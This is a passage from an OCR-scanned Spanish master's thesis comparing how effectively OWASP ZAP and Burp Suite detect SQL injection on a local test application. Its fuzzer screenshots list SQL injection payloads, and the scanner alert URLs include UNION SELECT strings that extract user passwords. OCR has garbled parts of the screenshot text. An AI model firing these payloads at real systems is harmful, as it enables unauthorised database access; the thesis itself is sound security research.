User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:78.0
Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, inage/
webp,*/%;=0.8

Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Referer: https://localhost/index.php

Cookie: PHPSESSID=u374s2h6jsfp9jvcervebdsou3; security=low

LE | upgrade-Insecure-Requests: 1

Host: localhost

20

20

Iniciar Fuzzer

Localizaciones de Fuzz:
o [

Suprimir sin la confirmacién

Reiniciar Cancelar

Figura 20. Configuracion del fuzzer. (Elaboracion Propia)

En localizaciones de Fuzz, damos clic en ingresar en la seccion de Localizaciones de Fuzz

para ingresar las cargas.

En la ventana de cargas damos clic en ingresar y seleccionamos el tipo fuzzer personalizado.
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ope Procesadores de mensajes
Cuerpo:Vista Raw B @ Local deFu
®
ion/xhtalexml, application/xnl;q=0.9, inage/
Cargas
Fncahazamienta: licta Raw 2 Cuarna\licta Raw D
(] (] Agregar carga
k- s [ Ingresar... i 4 i
i Ing Tipo: | Fuzzers de archivo u
= Archivos: car Sigu car A
mien
) cesaco ] Fuzzers personalizados
1010 > dirbuster
xt/ » jbrofuzz
» =8

Figura 21. Configuracion del fuzzer personalizado. (Elaboracién Propia)

Finalmente, terminamos la configuracién de la carga colocando las sentencias en el fuzzers

de archivo y iniciando el fuzzer.

Tipo: Fuzzers de archivo
Cargas: [1=1#

1=1/%
Opciones  Procesadores de mensajes ¢ a' UNION SELECT 1,2#
) a' OR 1=1 #
a’ OR "=';
Encabezamiento: VistaR @ @ Cargas + de Fuzz 1’ order by 1
— P . .
GET http://locathost/y Ubicacion: Cuerpo (0] o 1' UNION SELECT 1;- -
User-Agent: Mozilla/s, Valor: Eliminar | 1 OR 0=0-——
Gecko/20100101 Firefos Cargas: 1 UNION order by 3 #
Accept: text/html,appl 4 Tipo Descripcién  # de Procesadores [[9] Ingresar. Cargas 1’ union select 1, 2
[vebp,=/¥i =08 | tFuzzesd L L0l S 1' union select null, v
Accept-Language: es—E¢ Modificar... 1 union select null
Accept-Encoding: gzip, procesadores n
Connection: keep-alive Eliminar 1=1 union select null
Referer: https://local admin' or '1'='1'#
| cookie: PHPSESSID=u37¢ admin'or 1=1 or ''='
| upgrade-Insecure-Reque Procesadores... admin' or '1'='1
Host: localhost admin' or 1=1#
1’ union select concat(
%' and 1=0 union select
%' or 0=0 union select
%’ or @=0 union select
%' and 1=0 union select
a' UNION SELECT table_n
[ Suprimir sin la confirmacién %' and 1=0 union select
Cancelar Aceptar
yeupmm-sin la confirmacién i Guardar...
i
Q Cancelar Modificar
Iniciar Fuzzer Reiniciar Cancelar

Figura 22. Configuracién de cargas. (Elaboracion Propia)

Para terminar, procedimos a aplicar el cuestionario a los resultados obtenidos.

4.3.3.1.4 Resultados

De manera general el nivel de ataque que permitid que el escaner de vulnerabilidades
detectara una URL como tipo SQL Injection fue el ataque activo. Si bien el escaner detect6 un
total de 10 tipos de vulnerabilidades, el analisis de las pruebas se centrd en capturar el maximo
numero de URLs de tipo inyeccion para poder aplicar el cuestionario a el maximo de URL

posibles.

Para poder lograr esto, primero se realiz6 el nivel de ataque pasivo para poder obtener todas
las URLs de la aplicacién y luego efectuar los otros niveles de ataque que tienen un nivel

superior.

Como mencionamos teniamos un total de 120 sentencias SQL que estaban divididas en dos

grupos las que aplicadas proporcionaban una vista en la interfaz y las que no.

60

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos

Como puede observarse en la figura 23, la herramienta solo pudo detectar de todos los
ataques realizados 45 URLs que la categorizé como vulnerabilidad de tipo falla por SQL
Injection, de las cuales 38 correspondian al grupo de sentencias que no devolvian ningun tipo
de respuesta por interfaz y tan solo 7 correspondian a sentencias que la aplicacion web

devolvia la consulta.

0. niccion 5 |
|| GET: http://localhost/vulnerabilities/sqli/?id =%2 S¥E2%80%99+and + 1%3 D0+ union+select+ 1%2 C%40%4 0version%23 + %27 + AND+%2 7
|| GET: http://localhost/vulnerabilities/sqli/?id =%2 S%E2%80%99+and + 1%3 D0+ union+select+ null%2 C%4 0%4 0hostname + %2 3%2 7 + AND-
GET: http://localhost/vulnerabilities /sqli/?id =%2 S¥E2%80%99+and + 1%3 D0+ union+select+null%¥2Cdatabase%2 8%29+%23%2 7 +AND+
|| GET: http://localhost/vulnerabilities/sqli/?id =%2 S%E2%80%99+and + 1%3 D1+ union+select+%40%40version¥%23%2 7 + AND+%2 7 1%2 7%
GET: http://localhost/vulnerabilities /sqli/?id =%2 S%¥E2%80%99+ or+ 0%3 DO + union+select+ null%2 C+ database%2 8%2 9 +%2 3 + %2 7+ ANL
|| GET: http://localhost/vulnerabilities/sqli/?id =%2 S¥E2%80%9 9+ or+0%3 D0+ union+select+ null%2 C+ user¥2 8%2 9+ %2 3 + %2 7+ AND + %2
GET: http://localhost/vulnerabilities/sqli/?id =%2 S¥E2%80%99+ UNION+ SELECT + user%2 C+ password + from+users+%27 + AND+ %2 7 1%

Alert Detail
High (Medium) Falla por Inyeccién SQL
Description Inyeccién SQL puede ser posible.
URL http://localhost/vulnerabilities/sqli/?id=UNION+ALL+SELECT+%22admin %22 %2C+%2281dc9bdb52d04d(

Method GET
Parameter id
Attack UNION ALL SELECT "admin®, "81dc9bdb52d04dc20036dbd8313ed055' OR '1'='1" --

Instances 1

Figura 23. Extracto del reporte html y de la pantalla de alertas de de Owasp ZAP. (Elaboracion
Propia)

La tabla 10, nos indica un resumen de los resultados de las pruebas aplicados en Owasp ZAP.

Tabla 10. Resumen de Owasp Zap

Resumen de Owasp Zap
Numero de falsos negativos 55
Numero de falsos positivos 38
Nivel de ataque que permitié encontrar mas vulnerabilidades Activo
Tipos de vulnerabilidades detectadas 10
Total de vulnerabilidades procesadas 45

Elaboracién Propia

Cada una de las URLs detectadas pasaron por una auditoria manual, en la que el analisis
arrojo que de las 45 vulnerabilidades procesadas 38 eran falsos positivos, porque solo 7
sentencias de estas provocaban alguna respuesta de parte de la aplicacion. Lo que da lugar

a que tengamos un total de 55 falsos negativos que no fueron detectados por la herramienta.

Para concluir una vez realizado cada ataque, a cada URL se le aplico el cuestionario que

realizamos previamente y estos fueron los resultados.
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La valoracion que se dio a cada criterio fue subjetivo. Se realizé la auditoria manual a las

URLs detectadas, se identifico las URLs que debian ser detectadas por inyeccion, pero que

se encasillaron en otras categorias, a esas se lo consideré como falso positivo.

A continuacion, se muestran los resultados de la evaluacion de las URLs detectadas.

Tabla 11. Tabla de Resultados de Owasp ZAP

Tabla de Resultados

Nivel de Ataque Nivel de Riesgo Criterios Enunciado Valoracion
Pasivo Alto QL QL1 1
QL2 5
QL3 3
QL4 1
QT QT1 3
S S1 5
S2 5
TR TR1 5
TR2 3
HC HC1 2
Activo Alto QL QL1 5
QL2 4
QL3 5
QL4 5
QT QT1 5
S S1 3
S2 3
TR TR1 4
TR2 4
HC HC1 5
Fuzzer Alto QL QL1 2
QL2 4
QL3 3
QL4 2
QT QT1 3
S S1 2
S2 3
TR TR1 3
TR2 2
HC HC1 3

Elaboracién Propia
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Para el segundo escaner que es Burp Suite cambiamos configuracion en el proxy de Firefox

para que funcione correctamente.

Una vez configurado el ambiente de prueba, procedimos a ejecutar la aplicacion.

Ya cargado, seleccionamos si al igual que Owasp ZAP si queremos guardar la sesién o usar

una sesion temporal, damos clic en “Next” y luego en “Start Burp”.

e0e

Burp Suite Professional v2020.5.1 - licensed to contifico [single user license]

(2) Welcome to Burp Suite Professional. Use the options below to create or open a project.

®2 BURPSUITE |

14

]
]
t
"
(

PROFESSIONAL
@ Temporary project
© New project on disk Name:
File: Choose file...
O Open existing project Name [ File I
PRUEBABURPS / Burp Suite app/Contents /java/app/20...
PRUEBABURP4 / Burp Suite P app/Contents/java/app/20...
PRUEBA3 / Burp Suite app/Contents /java/app/20...
PRUEBABURP2 / Burp Suite P app/Contents/java/app/20...
PRUEBABURSP / Burp Suite P app/Contents /java/app/20...
File: Choose file...

Figura 24. Configuracion de sesion en Burp Suite Professional. (Elaboracion Propia)

Cancel Next
([Cancel J

Una vez iniciada la sesion, se los desplegara la interfaz inicial de la herramienta y para

comenzar con el escaneo manual procedimos a dar clic en “+ New Scan”.

Burp Suite Professional v2020.5.1 - Temporary Project - licensed to contifico [single user license]

Issue activity

7 Fitter

+

High  Medium  Low

v| Task | Time

Info

Action

zzzzzzzz

Figura 25. Configuracion de sesion en Burp Suite Professional. (Elaboracion Propia)
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Dashboard | Target | [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |
— D 000,
 Filter  Running  Paused  Finished

1. Live passive crawl from Proxy Glltraffic) O
Add links. Add item tself, same domain and URLS in suite scope. 0 items added to site map

Capturing

2. Live audit from Proxy (all traffic) OSSR >
Audit checks - passive

Capturing

View detail

Event log (@)
T CID @D €D oo

Time v Type Source Message

015435 9)ul2020  Info Proxy Proxy service started on 127.0.0.1:8080
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4.3.3.2.1 Escaneo Pasivo

Para iniciar con el primer ataque damos clic en el botén ok luego de colocar en la seccién de

“Url to Scan” la URL de la aplicacion, que en nuestro caso en localhost.

®00 New scan
e Scan Type
Scan details @ Crawl and audit
O Crawl
Scan URLS to Scan
configuration
Define the URLS to scan. Burp will begin crawling from these URLs, and by default will include everything beneath the specified URLs'
| folders.
login http://localhost/|
Resource
pool
@ Ignore protocols in URLS to scan
> Detailed scope configuration

oK Cancel

Figura 26. Configuracion de URL para escaneo. (Elaboracion Propia)

Cuando finalice el escaneo, nos dirigiremos en la pestaia “Target” en la que tenemos la
pestafia “Site map”, esta pestana es el equivalente que teniamos en Owasp ZAP que contiene
las URLs de la aplicaciéon. Como vemos también tenemos la herramienta nos provee una
clasificacion de las vulnerabilidades encontradas.

| Dashboard | Target | Proxy | Intruder | Repeater | Sequencer | Decoder | Comparer 1 Extender | Project options | User options

[ Site map - Issue definitions

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

.Enp://localhosx Contents -
o ;obotsxxx Host | Method | URL | Params | Status 4 | Length | MIME ty @ Cleartext submission of password
¥ [7% vulnerabilities http://localhost GET /robots.txt 200 273 text Untn_crygl:d communications
¥ [ sqli http://localhost GET Jvulnerabilities/sqli/ 200 1814 HTML ! Cookie without HttpOnly flag set
Y% . http://localhost GET Jvulnerabilities /sqli/..... 200 1814 HTML | |> i Inputreturned in response (reflected) (5]
Y% .. http://localhost GET Jvulnerabilities /sqli/?i... v 302 448 i Rcbotsm_ file )
[ login.php http://localhost GET / i Path-relative style sheet import
\E°Yi i Frameable response (potential Clickjacking)
[} id=UNION+ALL+SELECT+%22admin2
< J W
Reguest | Response _fm
[om— Y

Figura 27. Vista de la herramienta después del escaneo. (Elaboraciéon Propia)

Para terminar, aplicamos el cuestionario a los resultados obtenidos tal como hicimos en el
anterior escaner.
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4.3.3.2.2 Escaneo Activo

Los pasos realizados para el escaneo activo fueron los siguientes dar clic derecho sobre el

padre del arbol que en este caso es el localhost y seleccionar “Actively scan this host”.

‘® [ ] Burp Sui
[ Dashboard TTarget T Proxy T Intruder T Repeater TSequencer T

J Site map I Scope T Issue definitions ]

| Filter: Hiding not found items; hiding CSS, image and general binary con

@ http://localhost Cantants
E‘ l{obots.txt o http://localhost/ |
¥ [ vulnerabilities Add to scope locall
¥ [ sqli Scan » |locall
i . Passively scan this host locall
Y il scan this host [
va/ [s logi Engagement tools > locall
id=UNI Compare site maps
Expand branch
Expand requested items
Collapse branch
Delete host
Copy URLs in this host .
Copy links in this host
Save selected items i

Figura 28. Vista de la herramienta para realizar un escaneo activo. (Elaboracion Propia)

Luego de ejecutarse el escaneo, procedemos a aplicar el cuestionario a los resultados

obtenidos.

4.3.3.2.3 Escaneo Fuzzer

Finalmente, para ejecutar el escaneo fuzzer en Burp Suite realizamos los siguientes pasos.

Nos dirigimos a la pestafia “Introducer” y en la pestana “Positions” colocamos el request.

[ ] [ ] Burp Suite Professional v2020.5.1 - Temporary Project - licensed to contifico [single user license]

Dashboard | Target | #roxy [ ntruder | Repeater | Sequencer | Decoder | Comparer [ Extender | Project options | User options |
Target | Positions ]Payloads IOptions 1

@ Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper ﬂ
1 GET /vulnerabilities/sqli/?id=§&Submit=Submit HTTP/1.1 A Add §
2 Host: localhost rl oL J
3 Accept-Encoding: gzip, deflate
i Accept: */* Clear §
5 Accept-Language: en-US,en-GB;g=0.9,en;g=0.8
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Auto §
7 Connection: close

& Cache-Control: max-age=0

9 Refresh

Figura 29. Configuracion para el ataque fuzzer. (Elaboracién Propia)
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En la pestana payloads deberemos cargar el archivo que contiene las sentencias SQL. En la
seccion “Payload Sets” dejaron la opcion Simple list y en la seccién “Payload Options” damos

clic en load para cargar nuestro archivo.

:ct Intruder Repeater Window Help M3 G o= 2 8% @) Jue0227 Q @ =
=
eo0e Burp Suite Professional v2020.5.1 - Temporary Project - licensed to contifico [single user license]
[ Dashboard | Target | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options |
agal -

[ Target | Positions | Payloads | options |
You ne or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload tyy
can ized in different ways.
Payload set: 1 v Payload count: 121
Payload type: [ Simple list 1¥)  Requestcount: 121

@ Fayload Options [simple li
This payload type lets you configure a simple list of strings that are used as payloads.
| Paste 1-1# 4

1=1,
Load .. | | a UNION SELECT 1,2

Ltoade J 2 oR1m1s

Remove | | 24 a
i€ order by 1

[ Clear | | 1

Add

(Add from st ... v

Figura 30. Carga de archivo. (Elaboracién Propia)
Luego procedemos a dar clic en el boton “Start Attact”, se nos mostrara una ventana con el

progreso de nuestro ataque.

[ X Intruder attack 1

j Results TTarget T Positions T Payloads TOptions ]

I Filter: Showing all items |®

Request 4  Payload | Status | Error | Timeout | Length Comment
408 483 4

a'orl=1--
“a™orl=1--"
ora=a
a'or'a'="a
lorl=1

VA WN O
SEREREOD
0000oo

Figura 31. Ventana de ataque fuzzer. (Elaboracién Propia)

Luego de ejecutarse el escaneo, procedemos a aplicar el cuestionario a los resultados

obtenidos.

4.3.3.2.4 Resultados

En el caso de Burp Suite, se detecto un total de 8 tipos de vulnerabilidades, incluyendo la SQL
Injection. Los resultados que arrojo la herramienta de todos los ataques realizados fueron de
120 sentencias SQL detectar 55 URLs, que la categorizo como vulnerabilidad de tipo falla por

Inyeccion SQL.

La tabla 12, nos expone un resumen de los resultados de las pruebas aplicados en el escaner.

Tabla 12. Resumen de Burp Suite
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Resumen de Burp Suite
Numero de falsos negativos 50
Numero de falsos positivos 41
Nivel de ataque que permitié encontrar mas vulnerabilidades Fuzzer
Tipos de vulnerabilidades detectadas 8
Total de vulnerabilidades procesadas 55

Elaboracién Propia

La valoracion que se dio a cada criterio fue de la misma manera subjetiva al analisis de cada

URL detectada. En la tabla 13, se exponen los resultados.

Tabla 13. Tabla de Resultados de Burp Suite

Tabla de Resultados

Nivel de Ataque Nivel de Riesgo Criterios Enunciado Valoracién
Pasivo Alto QL QL1 3
QL2 2
QL3 3
QL4 4
QT QT1 5
S S1 3
S2 3
TR TR1 4
TR2 5
HC HC1 5
Activo Alto QL QL1 4
QL2 1
QL3 1
QL4 1
QT QT1 1
S S1 3
S2 3
TR TR1 5
TR2 1
HC HC1 1
Fuzzer Alto QL QL1 4
QL2 1
QL3 1
QL4 3
QT QT1 4
S S1 4
S2 2
TR TR1 4
TR2 4
HC HC1 1

Elaboracién Propia
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5. Conclusiones y trabajo futuro

5.1. Conclusiones

Realizar tests de penetracion con alguna herramienta de analisis dinamico o escaner de
vulnerabilidad permite conocer mas el nivel de proteccién de un sistema, conocer las
vulnerabilidades que posee y cuales de esas son criticas para realizar un plan de mitigacion
de esas amenazas, pero se debe conocer todo lo que implica realizar una prueba de
penetracion desde su planificacion, preparacion o training de la herramienta, testeo y
evaluacién de los resultados. El conocimiento de que cada etapa es vital para que la prueba

tenga los resultados esperados.

La aplicacion de criterios de efectividad si bien fue limitada por la cantidad de URL detectadas,
es una técnica valida para hacer aplicados a resultados, ya que me permite obtener métricas
cuantitativas de aspectos cualitativos. En este trabajo esos aspectos cualitativos fueron

aplicados a los findings detectados por los escaneres, que pasaron por una auditoria manual.
Una vez realizado la replicacion de la metodologia en ambas herramientas, tenemos las
siguientes observaciones que pueden ser evidenciadas a partir de las siguientes figuras, en

donde se expone la comparativa entre la puntuacion obtenida con Owasp Zap y Burp Suite.

Owasp Zap Burp Suite

TR

Fuzzer Activo mPasivo Fuzer mActivo mPasivo

Figura 32. Comparacion entre Owasp Zap y Burp Suite. (Elaboracién Propia)

Podemos notar que a comparacion de Burp Suite el ataque activo es el ataque cuya
puntuacion se mantuvo constante casi en todos los criterios en Owasp Zap.

Por otro lado, vemos que en Burp Suite el ataque que tuvo mayor puntuacién fue el ataque
pasivo que en Owasp, ademas que el ataque de tipo fuzzer es el que menos puntuacion tuvo

de manera general en los dos, pero si mejoro en Burp Suite con respecto del otro escaner.
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Situaciones ya expuestas en el capitulo de revisién de literatura tales como: cobertura de las
pruebas, exclusion de variables en las URLs, mal configuracion de las herramientas, mal

disefio de ataque, entre otras.

Todas estas razones pudieron resultar a que nuestro ataque no fuera tan efectivo y que no

detecte mas URL, que es lo que se esperaba.
5.2. Lineas de trabajo futuro

Este trabajo puede dar lugar para que nuevas lineas de trabajo se creen, con nuevas

versiones de este experimento. A continuacion, sefialaremos algunas:

¢ Generalizar la tabla de criterios: Actualmente la tabla esta disefiada para un tipo de
vulnerabilidad que es la de inyecciéon SQL, se podria redisefiar los criterios de
efectividad desarrollados de manera que puedan ser aplicados a resultados dados
para cualquier tipo de amenaza.

e Realizar el experimento con mas testers: Aumentar el numero de testers en el
experimento seria excelente para obtener retroalimentacién acerca de lo que se podria
mejorar. Se podria hacer una version del experimento inicialmente con seis personas,
tres de ellas serian testers expertos y los demas testers serian personas con un menor
nivel experiencia de tal manera que no solo se tendria retroalimentacion de parte de
los resultados de las pruebas de ambos grupos sino también se podria hacer una
comparacion de su perspectiva de evaluacion.

e Seleccionar mas escaneres: En este trabajo de fin de master debido al tiempo solo
se hizo la prueba de la metodologia usando dos escaneres de vulnerabilidades, en la
gue se uso un escaner de pago y un escaner gratuito, pero se podria usar al menos
cinco escaneres de cada uno para tener una comparativa mas detallada, si el tipo de
escaner incide en los resultados de la evaluacion.

¢ Ampliar el set y realizar mutaciones a las sentencias SQL: En este trabajo se uso
un set de 120 sentencias SQL, pero se podria crear uno con al menos 1000 sentencias
para aumentar la cantidad de ataques, y conocer si ampliando el set con nuevas
variaciones se logra alcanzar mayor rango de cobertura, permitiendo obtener mas

URLSs vulnerables de tipo inyeccion sql para la prueba de efectividad.

69

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos

6. Bibliografia

Aguilar Juarez, . (2014). Andlisis de criterios de evaluacion para la calidad de los materiales
didacticos digitales.

Aguilera Lopez, P. (2010). Seguridad informatica. Editex.

Albacete, J. (2015). Seguridad en equipos informaticos. IFCT0510. IC Editorial.

Antunes, N., & Vieira, M. (2016). Designing vulnerability testing tools for web services:
approach, components, and tools.

Areitio, A. (2009). Test de penetracion y gestion de vulnerabilidades, estrategia clave para
evaluar la seguridad de red. Revista Espafiola de Electronica.

Avilés, G. G. (2015). Seguridad en bases de datos y aplicaciones web. IT Campus Academy.

Carpentier, J. F. (2016). La seguridad informatica en la PYME: Situacion actual y mejores
practicas.

Cordero Torres, K. G. (2015). Estudio comparativo entre las metodologias MAGERIT y
CRAMM, utilizadas para analisis y gestion de riesgos de seguridad de la informacion.

Creasey, J., & Glover, I. (2017). A guide for running an effective Penetration Testing
programme. CREST.

Custodio, F. (2001). Planeamiento estratégico para instituciones educativas de calidad. .
Editorial. Udegraf SA, Lima-Peru.

Dalalana Bertoglio, D., & Zorzo, A. F. (2017). Overview and open issues on penetration test.
Journal of the Brazilian Computer Society.

Dias, C. &. (2014). Hacking ético y seguridad en Red.

Deepa, G. (2017). Black-box detection of XQuery injection and parameter tampering
vulnerabilities in web applications.

Fernandez Ginés, X. (2018). Seguridad en Docker.
Gallego Gonzalez, I. (2018). EuskalCrawler, un detector de vulnerabilidades de sitios web.

Gil Vera, V., & Gil Vera, J. (2017). Seguridad informatica organizacional: un modelo de
simulacién basado en dinamica de sistemas. Scientia et technica, 22(2), 193-197.

Graells, P. M. (2002). Evaluacién y seleccion de software educativo.
Guerrero Erazo, H. A., & Lasso Garces, L. A. (2015). Identificacion de vulnerabilidades de
seguridad en el control de acceso al sistema de gestion documental, mediante pruebas

de testeo de red en la empresa ingelec S.A.S.

Gomez Orozco, A. D. (2013). Gémez Orozco, A. D. P. (2013). Sistema de gestion de seguridad
de la informacion SGSI.

70

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos

Hernandez Saucedo, A. L., & Mejia Miranda, J. (2015). Guia de ataques, vulnerabilidades,
técnicas y herramientas para aplicaciones web.

Kah Seng, L., Ithnin, N., & Mohd Said, S. Z. (2018). The approaches to quantify web application
security scanners quality: a review.

Lépez de Jiménez, R. E. (2017). Pruebas de penetracion en aplicaciones web usando hackeo
ético. Revista Tecnologica; no. 10.

Mammar, A., Cavalli, A., & Jimenez, W. (2011). Using Testing Techniques for Vulnerability
Detection in C Programs.

Mannion, P. (2005). Moore’s Law: not just a crazy idea. EE Times.

Martelo, R., & Madera, J. (2015). Software para Gestion Documental, un Componente Modular
del Sistema de Gestion de Seguridad de la Informacién (SGSI).

Martinez Cortes, J. F. (2015). Seguridad informatica en pequefias y medianas empresas
(pymes).

Mayorga, A. M. (2018). Pentesting sobre aplicaciones web basado en la metodologia OWASP
utilizando un cluster conformado por dispositivos SBC de bajo costo. Revista Ibérica
de Sistemas e Tecnologias de Informagao.

Medina Rojas, E. F. (2015). Hacking Etico: Una herramienta para la seguridad informatica.

Mohammad Ghaffarian, S., & Reza Shahriari , H. (2017). Software Vulnerability Analysis and
Discovery Using Machine-Learning and Data-Mining Techniques: A Survey.

Méndez Ledn, C. A. (2016). Monitoreo de vulnerabilidades en servicios de red para empresas
con Nagios implementado.

Najar Pacheco, J. C., & Suarez Suarez, N. E. (2015). La seguridad de la informacion: un activo
valioso de la organizacion.

Najar Pacheco, J. C. (2017). Exposicion del activo mas valioso de la organizacion,
la“informacion”.

Nurmyshev, S., & Kozhakhmet, K. (2016). Architecture of web based intellectual vulnerability
scanners for OWASP web application auditing process.

Nufiez, A. C. (2013). Conceptos de seguridad informatica y su reflejo en la camara de cuentas
de Andalucia.

Ramos Martin, A. (2014). Aplicaciones Web 2.2 edicion.

Ramos Ramos, J. L. (2013). Pruebas de Penetracion o Pent Test. Revista de Informacion,
Tecnologia y Sociedad, 31.

Raul, H. (2016). Behique Digital. Obtenido de
https://henryraul.wordpress.com/2016/06/23/configurando-owasp-zap-para-la-
intercepcion-por-proxy/

Rennhard, M. (2019). Improving the Effectiveness of Web Application Vulnerability Scanning.

71

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos

Roman Mufioz, F., & Sabido Cortes, |. I. (2014). Capacidades de Deteccion de las
Herramientas de Analisis de Vulnerabilidades en Aplicaciones Web.

Roman Mufioz, F. (2016). Herramientas de analisis dindamico de aplicaciones web con snort.
Roman Mufioz, F., & Sabido Cortes, |. (2016). Aplicaciones web vulnerables a propdsito.

Roman Mufoz, F. (2018). Técnicas para la optimizacion del analisis automatico de
vulnerabilidades en aplicaciones web.

Sancho, J. C., & Castafio, M. L. (s.f.). Herramienta de entrenamiento para el desarrollo de
software seguro.

Shah, S., & Mehtre, B. (2014). An overview of vulnerability assessment and penetration testing
techniques.

Seng, L. K. (2018). The approaches to quantify web application security scanners quality.

Suto, L. (2010). Analyzing the Accuracy and Time Costs of Web Application Security
Scanners.

Urbina, G. B. (2016). Introduccion a la seguridad informatica. Grupo editorial PATRIA.

Valencia Duque, F. J. (2017). Metodologia para la implementaciéon de un Sistema de Gestion
de Seguridad de la Informacién basado en la familia de normas ISO/IEC 27000.

Vega, E. A. (2016). Herramientas de Analisis Dinamico de Vulnerabilidades en Aplicaciones
Web.

Vivar, S. (2019). Percepcion De Seguridad De La Informacién en Las Pequefias Y Medianas
Empresas en Santo Domingo.

Zayas Barreras, |., Parra Acosta, D., Lopez Arciniega, R., & Torres Sanchez, J. (2015). La
innovacién, competitividad y desarrollo tecnolégico en las MIP y ME’s del municipio de
Angostura, Sinaloa*. Revista mexicana de ciencias agricolas.

72

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos

Anexos

Anexo l. Articulo

73

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Metodologia para la evaluacion efectiva de pruebas
de penetracion para la aplicacion en el desarrollo de
aplicaciones web

Kattya Roxana Desiderio Sdnchez

Resumen—Evidentemente el crecimiento de la tecnologia y el
aumento de usuarios de internet ha incidido a que empresas opten
también por brindar servicios online. Sin embargo, también ha
dado lugar a que ciberdelicuentes creen cada vez nuevas formas
de poder vulnerar el sistema de una empresa alojado en un sitio
web. Es por ello, que cada vez mas empresas optan por contar en
sus sitios mecanismos que resguarden la seguridad del servicio
digital que proveen a sus clientes, contratando asi a empresas que
realicen auditorias de seguridad y que éstas les suministren un
reporte indicando las vulnerabilidades encontradas para poder
tratarlas y asi garantizar la fiabilidad y seguridad en su sistema.
El objetivo de este trabajo es establecer una metodologia que por
medio del uso de criterios de efectividad se compruebe que los
resultados obtenidos en las pruebas de penetracion son efectivos.
La metodologia que se propone es que, en las etapas del proceso
de una prueba de penetracion, se evalué los resultados usando
criterios de efectividad ademas de realizar la auditoria manual.

Index Terms—efectividad, pruebas de penetracion, escaneres
de vulnerabilidad

I. INTRODUCCION

El avance de la tecnologia y surgimiento de la era digital,
ha dado lugar a la transformacién informética que tenemos
en este momento. Cada dia mas empresas se van sumando a
la lista de empresas que han migrado su negocio a internet
también llamada nube informdtica.

Miles y miles de datos viajan a través del internet debido
a las aplicaciones web, pero no todas comparten un nivel
de seguridad que se considere bueno por las empresas de
seguridad informatica.

El uso del internet para la prestacién de diversos servicios
en diferentes sectores de la sociedad y el aumento en el
nimero de ataques aprovechando las vulnerabilidades o fallos
de seguridad [7] han sido factores para que las empresas
busquen protegerse.

Ataques que atentan contra la seguridad de la informacién
se han suscitado en los tltimos afios y han dejado en evidencia
este problema que acarrea muchos inconvenientes no solo
para la empresa que tiene su aplicacién en la red, sino a los
mismos usuarios que son victimas de hackers informéticos que
buscan los fallos en el software para cometer actos ilegales que
atenten contra los pilares de la seguridad: la confidencialidad,
la integridad y la disponibilidad.

Un reporte a nivel global realizado por la firma DataSec
entre el afio 2015 y 2016 registra que el 55 % de 27000 aplica-
ciones web analizadas tienen al menos una vulnerabilidad con
nivel critico lo que podria indicar que los datos pueden llegar

a ser totalmente comprometidos, lo que darfa lugar a mala
reputacién y hasta la bancarrota de una organizacién [10].
Una vulnerabilidad se produce a través de una programacién
descuidada o de una mala utilizacién del software [12], cuando
se constituye un hecho o una actividad que permite que la
amenaza se realice y no hay suficiente proteccidn para evitar
que suceda.
Tal es el caso que, no basta con tener nombres de usuarios y
contrasefas, sino que se requiere tener reglamentos y diversas
politicas de privacidad y proteccion de datos, igualmente debe
ser integral y encajar en una empresa sin problemas [9].
Dentro de los principales ataques segin [7] que estdn
basados en vulnerabilidades se encuentran, por ejemplo, los
de Inyecciéon SQL o de sistemas operativos, los de secuencia
de comandos en sitios cruzados, los de falsificacién de peticion
en sitios cruzados, entre otros.
Una herramienta de andlisis dindmico de vulnerabilidades
web o escdner de vulnerabilidad web, es un software que
analiza de manera funcional por medio de politicas definidas
que varian de acuerdo a la herramienta, busca vulnerabilidades
que puedan ser explotadas y que logren provocar un com-
portamiento que deje en evidencia algin fallo en el cédigo
de la aplicacién web [15]. Estas herramientas son usadas por
hackers éticos en la manera que las usarian hackers no éticos,
ejecutando un escaneo controlado con diferentes niveles de
ataques.
Adicionalmente, la manera en que las herramientas analizan
las vulnerabilidades puede ser de dos tipos: automdtica o
semiautomdtica, pero para que inicie el andlisis, se le debe
proporcionar una URL o URLS de la aplicacion que serd el
objeto del ataque.
Estas herramientas de andlisis dindmico suelen contar con
tres moédulos principales [14] y realizar el andlisis en dos
etapas: Pasiva o (en ingles Crawling) y Activa.
Tal como mencionamos existen dos etapas de andlisis,
primero tenemos a la etapa pasiva que tiene como objetivo
navegar a través de la aplicacién web [15]. En esta etapa se
ejecutan dos tareas:
= El] Rastreo o Crawling, que se refiere a que la herramienta
busca todos los posibles enlaces y directorios que com-
ponen la aplicaciéon web, obteniendo su cédigo HTML.

= Identificador de pardmetros de entrada, esta tarea del
escaner realiza ingenieria inversa sobre el cédigo HTML
para identificar campos de entrada de datos en formula-
rios.



La etapa activa del analisis por otra parte empieza cuando
el escaner ha identificado la estructura y todos los campos
de entrada de la aplicacién web, es en ese momento que
